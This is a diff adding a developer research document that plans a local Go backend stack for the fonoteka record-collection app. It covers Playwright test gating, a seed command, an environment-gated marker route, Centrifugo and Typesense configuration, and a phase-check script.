+| G7 | `fonotekaReachable()` probes `E2E_BACKEND_URL` directly, defaulting to `'http://localhost:8422'`. | [VERIFIED: tests/e2e/helpers/fonotekaReachable.ts:3,8]. | If unset or left in `tests/e2e/.env.local`, gate specs **skip** (Go-only stack) or gate on PHP. The check script must export `E2E_BACKEND_URL=http://127.0.0.1:8423` and fail on any skip. |
+| G8 | Search silently falls back to SQL when Typesense errors. | [VERIFIED: classes/album_search.go:217-228, `logger.Warn("golem15.fonoteka: album search engine failed, falling back to the database search", …)`]. | A search spec passes even with Typesense broken. The check script should grep the Go log for that Warn and fail on it. |
+| G9 | `search_use_typesense` is seeded **false**, and `fonoteka:reindex` refuses while it is off. | [VERIFIED: updates/20_remaining.go:198-200 `SELECT 1, false, NOW(), NOW()`; console/reindex.go:68-70 `!searchEnabled(ctx, gdb)` → `reindexNotConfigured`]. | `dev:seed` must set it true. Flip it last (after the albums exist) so the seed's own writes do not hit Typesense before the index exists, then run reindex. |
+| G10 | The Typesense container is stopped. | [VERIFIED: `docker ps -a`: `plytarium-typesense-instance typesense/typesense:26.0 Exited`; port binding `{"8108/tcp":[{"HostIp":"127.0.0.1","HostPort":"8181"}]}`]. | The preflight names it and suggests `docker start plytarium-typesense-instance`. |
+| G11 | `fonoteka.go/storage/` is not gitignored. | [VERIFIED: fonoteka.go/.gitignore = `/bin/ /tmp/ *.exe go.work.sum *.sqlite parity/.vars/ parity/tmp/`; `storage/app/uploads` exists, empty]. | Seeded covers would show as untracked files. Add `/storage/app/uploads/public/` (and `.env.dev`) to `.gitignore`. |
+| G12 | The shared Centrifugo (v6.5.1, systemd, `/etc/centrifugo/config.json`, mode 600 owned by `http`) cannot be read. Its subscribe proxy most likely targets PHP. | [VERIFIED: process `/usr/local/bin/centrifugo -c /etc/centrifugo/config.json`, listening `*:8787`; `centrifugo version` = v6.5.1]. Proxy target: [ASSUMED]. | See Open Question 1. A Go-issued token with the same HMAC secret connects, but `collection:{id}` subscribes go to whatever proxy endpoint the config names. *Superseded by D-18: the config was inspected; no subscribe or connect proxy exists (the proxy-target assumption A1 was wrong). Go shares the HMAC secret and API key through `.env.dev`; the only gap is `http://localhost:3119` missing from `client.allowed_origins`, a documented operator step.* |
+| G13 | `fonoteka.go` submodules have pointer drift (`feedback`, `golem`, `user` each ahead by a "pin release dependencies" commit). | [VERIFIED: `git diff --submodule=log`]. | This was already the state before the phase. Plans must not sweep these pointers into phase commits by accident. |
+
+## Q1. Flow → Spec map and seeding (D-15/D-16)
+
+**No spec calls `runTinker` or `seedE2EFixtures`.** Seeding today is manual (the helper is "a DOCUMENTED, opt-in helper — it is NOT auto-run by the suite" [VERIFIED: tests/e2e/helpers/runTinker.ts:15-16]). What `seedE2EFixtures` would send if called [VERIFIED: runTinker.ts:92-106]:
+- `\Golem15\User\Models\User::firstOrNew(['email' => E2E_EMAIL])`, then set the password and confirmation and `is_activated = true`, then save. The Go seed covers this.
+- `\Golem15\Journal\Models\Post::updateOrCreate(['slug' => 'e2e-seed-post'], …)`. Journal is not part of `fonoteka.go`, and the app does not use `journalApiBase` anywhere (grep `journal` in `app/` returns nothing). Under `E2E_BACKEND=go` this step is **skipped**.
+
+How each spec gets its data:
+
+| Spec | Flow(s) it proves | Backend touched? | Data it needs | Gate (D-15) |
+|------|-------------------|------------------|---------------|-------------|
+| `auth.setup.ts` | login (UI, `/en/login`) → storageState `tests/e2e/.auth/user.json` | yes | user with E2E creds, `must_change_password=false` | gate (runs as `setup` project dependency) |
+| `login.spec.ts` | login + "JWT never in markup" | yes | same user | gate |
+| `smoke.spec.ts` | landing renders | no | — | gate |
+| `fonoteka-item.spec.ts` | **create** album at `/albums/new` (only that, no edit/rate/cover) | yes (`fonotekaReachable` + creds) | active collection; genres (seeded by migrate) | gate |
+| `public-share.spec.ts` | `/k/{token}` render, 404/429 panels | **no**: every `/_fonoteka/api/v1/public/{token}*` call is stubbed with `page.route` | none | gate (backend-agnostic, proves nothing about Go's `/public/*`) |
+| `realtime.spec.ts` | intended: realtime badge | **stale**: test IDs removed 2026-06-12 | — | gate → **must be rewritten** |
+| `i18n.spec.ts` | locale toggle, html lang, keys; one backend case `/kolekcja` export CTA `Eksportuj \d+ pozycj` | one case | albums in the active collection (count) | gate |
+| `landing.spec.ts` | marketing landing | no | — | not listed (report) |
+| `responsive.spec.ts` | `/albums` search input and filter sheet visible | yes | logged-in user | report-only |
+| `offline.spec.ts` | Dexie offline sync, covers offline | yes | albums **with covers** (`blobCoverCount > 0`) | report-only |
+| `fonoteka-ai-assist.spec.ts` | AI page shell (recognize stubbed) | yes | user | report-only |
+| `fonoteka-bulk-add.spec.ts` | bulk add (Discogs fully stubbed) | yes | user | report-only |
+| `registration-invitation.spec.ts` | registration/invite (fully stubbed) | no | — | report-only |
+
+**Flows with NO covering spec, so new backend-agnostic specs are needed (D-16):**
+
+| Flow | Existing selectors to use [VERIFIED: grep of `app/`] | Recommended spec |
+|------|------------------------------------------------------|------------------|
+| browse collections | collection switcher (no test ID found in this pass; the executor greps `useCollectionSwitcher` consumers) | covered in the manual session; optional assertion in `core-flows` |
+| edit album | `album-edit`, `album-edit-mobile` (`pages/albums/[id]/index.vue`), `album-name`, `album-save` (`AlbumForm.vue`) | `album-edit-rate-cover.spec.ts` |
+| rate | `rating-stars` (`RatingStars.vue`) | same spec |
+| cover upload | file input in `AlbumCoverGallery.vue:114` (`type="file" accept="image/*" multiple class="sr-only"`); `PhotoUploader.vue:312,372`; the store posts to `/albums/${album.id}/photos` (`stores/fonoteka.ts:234`) | same spec, `setInputFiles` with an in-memory PNG (like `fonoteka-ai-assist.spec.ts` `PNG_1PX`) |
+| search | `albums-search-input` (used by `responsive.spec.ts`) | `album-search.spec.ts`: create a uniquely named album, type its name, `expect.poll` for the tile |
+| wishlist add/remove | `/wishlist/new` page, `` `wishlist-item-${album.id}` ``, `wishlist-item-remove` | `wishlist.spec.ts` |
+
+**Self-seeding rule for new specs:** create the data each spec needs through the UI, or through `page.request` against the **Nuxt origin** (same-origin, proxied, Bearer from the `auth_token` cookie), with a `Date.now()` suffix in names. Such specs pass on PHP and Go alike and do not depend on `dev:seed` content beyond the user. Specs must use `fonotekaReachable()` plus the E2E creds gate like the existing ones, so PHP CI behavior is unchanged.
+
+**What `dev:seed` must provide for the gate (minimum):** a user matching E2E creds (activated, `must_change_password=false`, `has_self_set_password=true`), an owned `kind=collection` collection persisted as the user's context, at least 3 albums (the i18n count and offline covers), a `kind=wishlist` collection with at least 1 album (the wishlist entry), and `search_use_typesense=true`.
+
+## Q2. playwright.config.ts
+
+[VERIFIED: vue-fonoteka-app/playwright.config.ts:10-56]
+- Env loading: `dotenv.config({ path: 'tests/e2e/.env.local' })` then `tests/e2e/.env`. dotenv does **not** override variables already in the environment, so the check script's exports win.
+- `FRONTEND_URL = process.env.E2E_FRONTEND_URL || 'http://127.0.0.1:3119'`; `use.baseURL = FRONTEND_URL`; port derived from it.
+- `use.storageState: 'tests/e2e/.auth/user.json'`; projects `setup` (`testMatch: /.*\.setup\.ts/`, empty storage) and `chromium` (`dependencies: ['setup']`).
+- `workers: 1`, `fullyParallel: false`, `retries: 0`, reporters `html` + `list`.
+- `webServer: { command: \`pnpm dev --port ${FRONTEND_PORT} --host 127.0.0.1\`, url: FRONTEND_URL, reuseExistingServer: !process.env.CI, timeout: 120_000 }`.
+
+Implications:
+- Running against the stack: start the stack first, then run with `CI` **unset**, so Playwright reuses the running Nuxt. If Playwright launches its own `pnpm dev`, that process inherits Playwright's env, so the `NUXT_*` Go values must be exported in the check script too.
+- Set `E2E_FRONTEND_URL=http://localhost:3119`. `i18n.spec.ts` and `landing.spec.ts` add cookies with the hard-coded `url: 'http://localhost:3119'`, so a `127.0.0.1` baseURL would not carry them. The D-06 Centrifugo origin is also `http://localhost:3119`.
+- E2E env vars in use: `E2E_EMAIL`, `E2E_PASSWORD`, `E2E_FRONTEND_URL`, `E2E_BACKEND_URL`, `E2E_CENTRIFUGO` (`=== '1'`), `BACKEND_DIR` (runTinker PHP cwd; defaults to `path.resolve(__dirname, '../../../..')`, which is the PHP fonoteka root). New: `E2E_BACKEND`, `E2E_GO_BIN`, optionally `E2E_GO_DIR`.
+- Gate run recommendation: `pnpm exec playwright test auth.setup.ts login.spec.ts smoke.spec.ts fonoteka-item.spec.ts public-share.spec.ts realtime.spec.ts i18n.spec.ts <new specs> --project=chromium --reporter=json`, with `PLAYWRIGHT_JSON_OUTPUT_NAME=<file>`. Parse `stats.unexpected == 0`, `stats.skipped == 0` and `stats.expected > 0`. A skip is how a misconfigured backend URL shows up (G7).
+
+## Q3. nuxt.config.ts: env names, fallback chain, proxy list, port, auth
+
+[VERIFIED: vue-fonoteka-app/nuxt.config.ts]
+- `const BACKEND_ORIGIN = process.env.NUXT_DEV_BACKEND_ORIGIN || 'http://localhost:8000'` (line 30). Read **once at config load**.
+- `devServer: { port: Number(process.env.NUXT_PORT) || 3119 }` (line 51).
+- `internalApiOrigin: process.env.NUXT_INTERNAL_API_ORIGIN || process.env.NUXT_DEV_BACKEND_ORIGIN || process.env.NUXT_PUBLIC_SITE_URL || 'https://plytarium.com'` (lines 110-113).
+- `public.centrifugoWsUrl: ''` (line 155). Overridden at runtime by `NUXT_PUBLIC_CENTRIFUGO_WS_URL`. Empty means realtime silently disabled (`useCentrifugo.ts:59-63`).
+- `public.feedbackWidgetKey: process.env.NUXT_PUBLIC_FEEDBACK_WIDGET_KEY || ''` (line 128). A PHP widget key left in `.env` would make the widget call Go's `/_feedback/api/v1/{key}/config` with an unknown key. Have the script export it explicitly (empty unless `.env.dev` sets a Go-side key).
+- Proxy prefixes, identical in `routeRules` (247-266), `nitro.devProxy` (364-372) and `vite.server.proxy` (392-401): `/_user/api`, `/_journal/api`, `/_fonoteka/api`, `/_feedback/api`, `/plugins/golem15/feedback`, `/api/realtime`, `/storage`. All use `changeOrigin: true`.
+- Auth: JWT in the JS-readable `auth_token` cookie (SameSite=Lax), attached as `Authorization: Bearer` by `app/plugins/api.ts` on both SSR and client. SSR uses `config.internalApiOrigin` as `baseURL` (api.ts:28-30). No backend cookies and no CORS: the browser only talks to `:3119`, and SSR talks to Go server-to-server.
+- **Env precedence:** Nuxt loads `vue-fonoteka-app/.env` through c12 `setupDotenv`, which only assigns a key `if (targetEnvironment[key] === void 0 || dotenvVars.has(key))` [VERIFIED: node_modules/.pnpm/c12@3.3.4…/c12/dist/index.mjs:28-31]. Variables exported on the `pnpm dev` process therefore win over `.env`, including deliberately empty strings. This confirms D-08's "pass env vars, never write `.env`" works.
+
+## Q4. fonoteka.go facts for the seed, script and serve
+
+- **Command registration:** `func (p *Plugin) Commands() []bonfire.Command { cmds := []bonfire.Command{ console.OAuthClientCommand(p.app), console.PruneNotificationsCommand(p.app), console.ReindexCommand(p.app), } … }` [VERIFIED: plugins/golem15/fonoteka/plugin.go:292-301]. Add `console.DevSeedCommand(p.app)` here, in a new file `console/dev_seed.go`. `bonfire.Command{Name, Description, Flags []bonfire.Flag{Name, Description, Default, Bare}, Args, Run func(ctx, in bonfire.Input, out bonfire.Output) error}` [VERIFIED: summercms.go/modules/bonfire/command.go:15-38].
+- **Environment:** `Environment()` returns the env name. Detection: `envName = lookupEnv(c.environ, "SUMMER_ENV")`; if empty, `envName = "production"` [VERIFIED: summercms.go/modules/compass/config.go:193-199]. The seed refuses unless `app.Config.Environment()` is one of the allowed dev names. Recommend `local` and `dev` (D-02); the script sets `SUMMER_ENV=local`. Compass also merges `<config dir>/../.env` (`readDotEnv(filepath.Join(filepath.Dir(c.dir), ".env"))`, config.go:187). That means a `fonoteka.go/.env` would be read automatically, but `.env.dev` is **not**, so the script must export it (`set -a; . ./.env.dev; set +a`).
+- **Config dir is cwd-relative:** `cfg, err := compass.Load("config")` [VERIFIED: fonoteka.go/main.go:31], and the bucket is `file://./storage/app/uploads/public` [VERIFIED: config/storage.yaml]. Every `bin/fonoteka` invocation (script, Playwright `E2E_GO_BIN`) must run with cwd = `fonoteka.go`.
+- **Boot requirements for any command:** `golem15.user: jwt.secret is empty (set SUMMER_GOLEM15__USER__JWT__SECRET)` and `cabana: admin.jwt.secret is empty (set SUMMER_ADMIN__JWT__SECRET)` both fail even `route:list` [VERIFIED: ran binary]. DB-opening commands also need a valid `SUMMER_APP__KEY` (base64 of 32 bytes; `fonoteka key:generate` prints one) [CITED: 11.2-RESEARCH.md citing lagoon/connection.go:77-90].
+- **Creating the data with existing code** (all in package `classes` of the fonoteka plugin unless noted):
+  - User: `usercontrollers.RegisterUser(ctx, app, tx, fields, usercontrollers.RegisterOptions{Activate: true})` hashes with `golem15.user.password.bcrypt_cost` and validates the model rules [VERIFIED: sm-user-plugin/controllers/registration.go:26-38,57]. Lookup by email first for idempotency. `BootstrapOwner` is unsuitable because it refuses once any user exists.
+  - Collection + context: `ProvisionCollection(ctx, tx, user)` returns the context collection, else the lowest accessible one, else creates `"Moja kolekcja"` (`DefaultCollectionName`) and persists the context [VERIFIED: classes/collection_provisioner.go:14-75].
+  - Wishlist: `ProvisionWishlist(ctx, tx, user)` reuses the own wishlist or creates `"Moja lista życzeń"` (`DefaultWishlistName`, `Kind: kindWishlist` where `const kindWishlist = "wishlist"`) [VERIFIED: classes/wishlist_resolver.go:15-19,48-84]. A wishlist entry is an album whose `collection_id` is the wishlist collection [VERIFIED: parity/fonoteka_seed_test.go:1324-1340 inserts wishlist albums with `collection_id = wishlistID`].
+  - Albums: `CreateAlbum(ctx, tx, collectionID, input map[string]any) (*models.Album, error)` [VERIFIED: classes/album_write_service.go:378-400]. Wrap it in `lighthouse.WithoutBroadcasting[models.Album](ctx, fn)` [VERIFIED: summercms.go/modules/lighthouse/suppress.go:19] so the seed queues no realtime broadcast jobs.
+  - Covers: `StoreAlbumPhoto(ctx, db, bucket, albumID, filename, data) (*attach.File, error)` writes under a Winter disk name and attaches to `photos` [VERIFIED: classes/album_files.go:72-85]. The bucket in a CLI context comes from `attach.OpenBucket(ctx, app.Config)` + `attach.Publish(app, bucket)` (exported; used by `surf/serve.go:110-122` and `lagoon/commands.go:208-228`). Generate the images with stdlib `image/png` (solid or gradient squares, deterministic per album). No network and no committed binaries are needed.
+  - Rating (optional, so "rate" has a baseline): `models.AlbumRating{AlbumID, UserID, Rating}` on table `golem15_fonoteka_album_ratings` [VERIFIED: models/album_rating.go].
+  - API token: `userclasses.APITokenPrefix(app)` reads `golem15.user.api_tokens.prefix` (`inv_` in this app) and `userclasses.MintAPIToken(prefix, userID, name, scopes, expiresAt, collectionIDs)` returns `(secret, *models.APIToken, error)`; allowed scopes are `"read", "write", "ai"` [VERIFIED: sm-user-plugin/classes/api_tokens.go:19-23,48-94]. For idempotency, see Pattern 1.
+  - Search setting: `models.Settings{SearchUseTypesense bool}` on table `golem15_fonoteka_settings`, singleton row `id = 1` [VERIFIED: models/settings.go; updates/20_remaining.go:198-200].
+- **Lagoon attach path / cover file functions:** `StorePublicFile` → `attach.BlobKey(diskName)` → `bucket.WriteAll`; `AttachAlbumPhoto` sets `Field = "photos"`, `AttachmentType = models.Album{}.MorphName()` and `sort_order = id` [VERIFIED: classes/album_files.go:20-69]. Public URLs come out as `/storage/app/uploads/public/<partition>/<disk_name>` (prefix from `storage.uploads.public_path_prefix`) [VERIFIED: config/storage.yaml].
+- **Serve address:** `serve` has flag `addr` with `Default: ":8080"`; an empty value falls back to `":8080"` [VERIFIED: summercms.go/modules/surf/serve.go:28-37]. Use `bin/fonoteka serve --addr 127.0.0.1:8423`, bound to loopback only.
+- **Reindex:** the command name is exactly `fonoteka:reindex`, with flag `drop-old-items-index` [VERIFIED: console/reindex.go:44-50]. It refuses unless the engine is `typesense`, configured (API key) and `search_use_typesense` is on (reindex.go:68-70), and needs the G1 fix.
+- **Other useful commands in the binary** [VERIFIED: `fonoteka --help`]: `migrate`, `migrate:status`, `key:generate`, `websockets:health` (works without a DB; prints `✗ Connection check failed: centrifugo: /info: HTTP 401` and exits 1 on a bad key [VERIFIED: ran]), `user:token:create` (broken by G1).
+- **summer build:** `summer` is at `~/go/bin/summer` (built 2026-10-05), which is **not on PATH** in non-interactive shells. `buildCommand` uses `os.Getwd()` as the app dir [VERIFIED: summercms.go/cmd/summer/main.go:56-66] and writes `bin/<binary>` (`cmd/summer/runtime.go:105`). Recommend that the script build the CLI from source (`go -C "$FRAMEWORK" build -o "$TMP/summer" ./cmd/summer`) and then run `(cd "$APP" && "$TMP/summer" build)`, so a stale `~/go/bin/summer` is never used. `fonoteka.go/go.mod` has `replace git.golem15.com/golem15/summercms => ../summercms.go`, so framework edits are picked up.
+
+## Q5. Marker route (D-10)
+
+Existing Go routes outside `parity/manifest.yaml`: `/plytadmin*` (cabana admin, not Nuxt-proxied), `GET /plugins/golem15/feedback/assets/js/embed.js` (PHP serves the same file statically), `/.well-known/oauth-authorization-server` and `/oauth/mcp/*` (PHP serves these too, and they are in the manifest's `oauth` group) [VERIFIED: route:list + manifest auth groups]. **None is both Go-only and under a Nuxt-proxied prefix.** There is no framework health route.
+
+**Recommendation:** add a route in the fonoteka plugin (the app's own namespace, so no shared plugin is touched): `GET /_fonoteka/api/v1/_dev/backend`, registered **only when `app.Config.Environment()` is not `production`** (env-gated: zero production surface, invisible to parity). It returns `200 {"backend":"summercms","app":"fonoteka","env":"<env>"}` with `Cache-Control: no-store`. Put it in its own `r.GroupRaw` (or a public group) with no auth and a small throttle. It is not added to the manifest or `routes.snapshot`. `TestParityContract` compares the snapshot against **PHP** `routes.php`, not against the Go table, so a Go-only route does not break it [VERIFIED: parity/parity_contract_test.go:13-45]. Phase route-table tests (`routes_table_phase1x_test.go`) assert properties of named routes, so the executor should run them after adding the route.
+
+**Preflight logic (script):**
+1. Refuse if `NUXT_DEV_BACKEND_ORIGIN` or `NUXT_INTERNAL_API_ORIGIN` is unset, if they differ, if the port is `8422`, or if the host is not loopback (`localhost`/`127.0.0.1`/`::1`). This covers any `plytarium.com` value.
+2. `curl -sS -D headers -o body "$ORIGIN/_fonoteka/api/v1/_dev/backend"`: refuse unless the status is 200 **and** `jq -e '.backend=="summercms"'` holds.
+3. Refuse if any response header matches `^X-Powered-By: PHP` (case-insensitive). The local PHP has `expose_php => On` [VERIFIED: `php -i`, PHP 8.5.10], so `php artisan serve` stamps `X-Powered-By: PHP/8.5.10` on every response. Go never sets it. PHP has no catch-all route in `plugins/golem15/fonoteka/routes.php` [VERIFIED: grep], so PHP answers 404 on the marker path, which step 2 already refuses.
+4. Post-start: the same request against `http://localhost:3119/_fonoteka/api/v1/_dev/backend` (the Vite proxy) must return the same JSON. Also probe an unauthenticated `GET http://localhost:3119/_fonoteka/api/v1/albums` and expect 401 from Go.
+
+## Q6. check-phase script pattern (D-17)
+
+[VERIFIED: summercms.go/scripts/check-phase14.2.1.sh (410 lines; the most recent and leanest), check-phase14.sh (1265 lines)]
+- Header comment describing the gate. `set -euo pipefail`, `unset FORCE_COLOR`.
+- Paths from overridable env (`ROOT="${PHASE1421_ROOT:-$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)}"`, sibling repos `$ROOT/../…`).
+- `*_REQUIRE=(TestA TestB …)` arrays of named tests that must pass.
+- `detect()`: an embedded `python3` heredoc reading `go test -json`, with exit codes 1 fail/build, 2 skip, 3 zero tests or "no tests to run", 4 non-JSON, 5 missing required name, 6 data race. `go_json DIR ARGS…` runs `go test -json` and the detector.
+- `run_self_test`: `bash -n`, then `expect_detect` on planted JSON lines for each exit code. It also checks that every `--mode)` case exists.
+- One `run_<stage>` per mode, `run_all` looping `bash "${BASH_SOURCE[0]}" "--$stage"` with `PASS/FAIL` lines, and a final `echo "Phase 14.2.1 gate passed"`.
+- `case "${1:---all}" in --self-test) … esac`.
+
+Recommended modes for `check-phase14.2.sh`: `--self-test` (also plants a fake Playwright JSON with a skip and expects refusal), `--go` (`go vet` + `go_json` on the `fonoteka.go` plugin packages and the touched `summercms.go` modules, with `REQUIRE_TESTS` naming the new dev-seed, marker, storage-mount and access-log tests), `--docs` (`go test ./cmd/summer -run TestDocsTree` if framework modules changed), `--guard` (Pattern 4 refusal cases), `--e2e` (starts the stack via `dev-stack.sh up --detach` or requires it running, runs the Playwright gate with the JSON reporter, then greps the Go log for `album search engine failed` and for 5xx), and `--all`. The `--e2e` stage fails closed when services are missing (D-06). It is not silently skipped.
+
+## Q7. Centrifugo local config and realtime keys
+
+`config/realtime.yaml` keys and env mapping [VERIFIED: fonoteka.go/config/realtime.yaml; fonoteka.go/README.md:75-87]:
+
+| Config key | Env | Default in repo |
+|------------|-----|-----------------|
+| `realtime.centrifugo.api_url` | `SUMMER_REALTIME__CENTRIFUGO__API_URL` | `http://127.0.0.1:8001/api` |
+| `realtime.centrifugo.api_key` | `SUMMER_REALTIME__CENTRIFUGO__API_KEY` | `""` (nothing published) |
+| `realtime.centrifugo.token_secret` | `SUMMER_REALTIME__CENTRIFUGO__TOKEN_SECRET` | `""` (token route answers 503 `{"error":"WebSocket not configured"}`) |
+| `realtime.centrifugo.token_ttl` | `SUMMER_REALTIME__CENTRIFUGO__TOKEN_TTL` | `3600` |
+| `realtime.centrifugo.ws_url` | `SUMMER_REALTIME__CENTRIFUGO__WS_URL` | `/ws` |
+| `realtime.centrifugo.proxy_secret` | `SUMMER_REALTIME__CENTRIFUGO__PROXY_SECRET` | `""` (every subscribe denied) |
+| `realtime.centrifugo.subscribe_path` | — | `/api/realtime/subscribe` |
+| `realtime.broadcast_namespace` | `SUMMER_REALTIME__BROADCAST_NAMESPACE` | `""` |
+
+Centrifugo v6 config keys [CITED: centrifugal.dev/docs/server/configuration; centrifugal.dev/docs/server/proxy]: `client.token.hmac_secret_key` (must equal Go `token_secret`), `client.allowed_origins` (add `http://localhost:3119` **and** `http://127.0.0.1:3119`), `http_api.key` (= Go `api_key`), `http_server.port`, `channel.proxy.subscribe.endpoint` (→ `http://127.0.0.1:8423/api/realtime/subscribe`) with `channel.proxy.subscribe.http.static_headers` `{"X-Centrifugo-Secret": "<proxy_secret>"}`, and `channel.namespaces[]` entries `collection` and `wishlist` with `subscribe_proxy_enabled: true`. Env override form: `CENTRIFUGO_<OPTION>` with nested levels joined by `_` (e.g. `CENTRIFUGO_CLIENT_ALLOWED_ORIGINS`). The Go subscribe proxy answers HTTP 200 for both allow and deny, and denies unless the namespace has an authorizer [VERIFIED: lighthouse/README.md:49-53]. Go registers authorizers for `collection` and `wishlist` only [VERIFIED: fonoteka/realtime.go]. The Nuxt client's auto-subscription to `user:{id}` (`useCentrifugo.ts:90`) is therefore denied on Go, **exactly as on PHP** (PHP `ProxyController` denies "Unknown channel namespace" the same way). This is parity, not a gap. "Realtime working" in the manual session means a `collection:{id}` update reaches a second browser session.
+
+*Superseded by D-18 for the local stack:* the shared instance configures no subscribe proxy, so the `channel.proxy.subscribe.*`, `X-Centrifugo-Secret` and `subscribe_proxy_enabled` settings above are not set and Go's `proxy_secret` is not needed. The deny-by-namespace behaviour described above applies only where a subscribe proxy is configured. Locally only `client.token.hmac_secret_key` (= `SUMMER_REALTIME__CENTRIFUGO__TOKEN_SECRET`), `http_api.key` (= `SUMMER_REALTIME__CENTRIFUGO__API_KEY`, with `SUMMER_REALTIME__CENTRIFUGO__API_URL=http://127.0.0.1:8787/api`) and `client.allowed_origins` matter.
+
+Nuxt side: `NUXT_PUBLIC_CENTRIFUGO_WS_URL=ws://localhost:<port>/connection/websocket` (the current shared instance serves WS and API on `:8787` [VERIFIED: `ss -ltnp` and `curl /connection/websocket` → 400 with CORS headers]). Set `E2E_CENTRIFUGO=1` for the live realtime spec.
+
+## Q8. Nuxt proxy prefixes vs Go routes
+
+| Nuxt proxied prefix | Go serves? | Gap / action |
+|---------------------|-----------|--------------|
+| `/_user/api/**` | yes (`golem15.user`) | — |
+| `/_fonoteka/api/**` | yes | — (+ marker route) |
+| `/_feedback/api/**` | yes: `GET /{key}/config`, `POST /{key}/submit`, `PUT /me/hidden` | Widget only active if `NUXT_PUBLIC_FEEDBACK_WIDGET_KEY` is set; the Go key must exist in `golem15_feedback_settings`. Recommend exporting it empty for local Go runs. |
+| `/plugins/golem15/feedback/**` | yes: `GET /plugins/golem15/feedback/assets/js/embed.js` | — |
+| `/api/realtime/**` | yes: `GET /token`, `POST /subscribe` | — |
+| `/storage/**` | **no** | G2: mount `attach.StaticHandlerPublic` at `/storage/app/uploads/public/{path...}` |
+| `/_journal/api/**` | **no** | Not used by the app (no `journal` reference in `app/`). Journal is Phase 15 and not in `fonoteka.go`. No action; document that the proxy entry 404s on Go. |
+
+Not proxied, but used by fonoteka-mcp: `/api/v1/fonoteka/*` (personal-token routes). For MCP, set `FONOTEKA_API_URL=http://localhost:8423` and `FONOTEKA_API_TOKEN=<inv_ secret>` (env names [VERIFIED: grep fonoteka-mcp/src]).
+
+## Standard Stack
+
+No new dependencies. Everything is stdlib or already in the module graph.
+
+| Piece | Use | Source |
+|-------|-----|--------|
+| `bonfire.Command` | `dev:seed` command | framework [VERIFIED] |
+| `lagoon.OpenFromApp` / `lagoon.Publish` | open DB in plugin commands (G1) | framework [VERIFIED: lagoon/connection.go:77-120] |
+| `attach.OpenBucket` / `attach.Publish` / `attach.StaticHandlerPublic` | seed covers; `/storage` mount | framework [VERIFIED] |
+| `lighthouse.WithoutBroadcasting[T]` | no broadcast jobs from the seed | framework [VERIFIED] |
+| `image`, `image/png`, `image/color` | generated cover PNGs | Go stdlib |
+| bash + curl + jq + python3 | `dev-stack.sh`, `check-phase14.2.sh` | host tools [VERIFIED present] |
+| `@playwright/test` ^1.60.0 | e2e | already in `vue-fonoteka-app/package.json` [VERIFIED] |
+| `node --test tests/contracts/*.test.mjs` | contract test for the runTinker switch (source-level) | existing `pnpm test:contracts` [VERIFIED] |
+
+**Installation:** none.
+
+## Package Legitimacy Audit
+
+Not applicable: this phase installs no external packages (Go stdlib and existing modules; existing npm devDependencies only).
+
+**Packages removed due to [SLOP] verdict:** none
+**Packages flagged as suspicious [SUS]:** none
+
+## Architecture Patterns
+
+### System Architecture Diagram
+
+```
+ developer shell
+      │  scripts/dev-stack.sh up   (sources .env.dev, SUMMER_ENV=local)
+      ▼
+ [1 preflight services] ── pg (DSN) ── Typesense :8181/health ── Centrifugo (websockets:health)
+      │ any missing → exit 1 naming it
+      ▼
+ [2 build]  go build summer CLI → summer build → bin/fonoteka
+      ▼
+ [3 data]   bin/fonoteka migrate → bin/fonoteka dev:seed (env-gated, idempotent)
+            → writes users / collections / albums / wishlist / user_api_tokens / settings
+            → covers → storage/app/uploads/public/<partition>/<disk>
+            → bin/fonoteka fonoteka:reindex → Typesense
+      ▼
+ [4 serve]  bin/fonoteka serve --addr 127.0.0.1:8423  (access log on) ──tee──▶ tmp/dev-stack/go.log
+      ▼
+ [5 guard]  marker GET :8423/_fonoteka/api/v1/_dev/backend
+            refuse: origin :8422 | non-loopback | internal origin unset/different | X-Powered-By: PHP | marker≠summercms
+      ▼
+ [6 nuxt]   NUXT_DEV_BACKEND_ORIGIN=NUXT_INTERNAL_API_ORIGIN=http://127.0.0.1:8423
+            NUXT_PUBLIC_CENTRIFUGO_WS_URL=ws://…  pnpm dev --port 3119 ──tee──▶ tmp/dev-stack/nuxt.log
+      ▼
+ [7 post-start probe] GET :3119/_fonoteka/api/v1/_dev/backend (via Vite proxy) == marker JSON
+
+ browser ──▶ :3119 (Nuxt) ──proxy /_user /_fonoteka /_feedback /api/realtime /storage──▶ :8423 (Go) ──▶ Postgres / bucket / Typesense
+    │                         SSR fetch (internalApiOrigin) ───────────────────────────▶ :8423
+    └──WS──▶ Centrifugo ──subscribe proxy (X-Centrifugo-Secret)──▶ :8423/api/realtime/subscribe
+ Go album writes ──River job──▶ Centrifugo HTTP API ──▶ browser (collection:{id})
+```
+
+*Superseded by D-18:* the subscribe-proxy edge (`X-Centrifugo-Secret` → `:8423/api/realtime/subscribe`) does not exist locally. The browser connects to the shared `:8787` instance with a Go-issued HMAC token and subscribes directly; Go only issues tokens and publishes through the HTTP API.
+
+### Recommended file layout
+
+```
+fonoteka.go/
+├── scripts/dev-stack.sh              # up | preflight | seed | down | status (new)
+├── .env.dev.example                  # placeholders only (new); .env.dev gitignored
+├── .gitignore                        # + .env.dev, /storage/app/uploads/public/
+├── RUNNING-LOCALLY.md (or README §)  # run docs, Centrifugo snippet, MCP pointing
+└── plugins/golem15/fonoteka/
+    ├── console/dev_seed.go           # DevSeedCommand (+ _test.go in last plan)
+    ├── console/reindex.go            # opens DB itself (G1)
+    ├── dev_marker.go                 # env-gated marker route (or inside routes.go)
+    └── plugin.go                     # Commands() += DevSeedCommand
+summercms.go/
+├── modules/surf/…                    # opt-in access log; opt-in uploads mount (README + docs)
+└── scripts/check-phase14.2.sh
+vue-fonoteka-app/tests/e2e/
+├── helpers/runTinker.ts              # E2E_BACKEND=go switch
+├── auth.setup.ts                     # if E2E_BACKEND=go → seedE2EFixtures() (no-op otherwise)
+├── realtime.spec.ts                  # rewritten, backend-agnostic
+├── album-edit-rate-cover.spec.ts     # new
+├── album-search.spec.ts              # new
+└── wishlist.spec.ts                  # new
+```
+
+### Pattern 1: `dev:seed` command (env refusal, idempotency, own DB)
+
+**What:** a `bonfire.Command` that (a) refuses unless `Environment()` ∈ {`local`,`dev`}, (b) opens and publishes the DB and bucket itself, and (c) upserts by natural keys inside one `lagoon.Transaction`, with album writes in `WithoutBroadcasting`.
+
+Idempotency keys:
+- user by `email` (on the second run, if the bcrypt check of `E2E_PASSWORD` fails, print an explicit message and update; same inputs mean no change);
+- collection and wishlist by `ProvisionCollection`/`ProvisionWishlist` (both reuse existing ones);
+- albums by `(collection_id, name)` among live rows;
+- cover only when the album has no `photos`;
+- wishlist entry by `(wishlist collection_id, name)`;
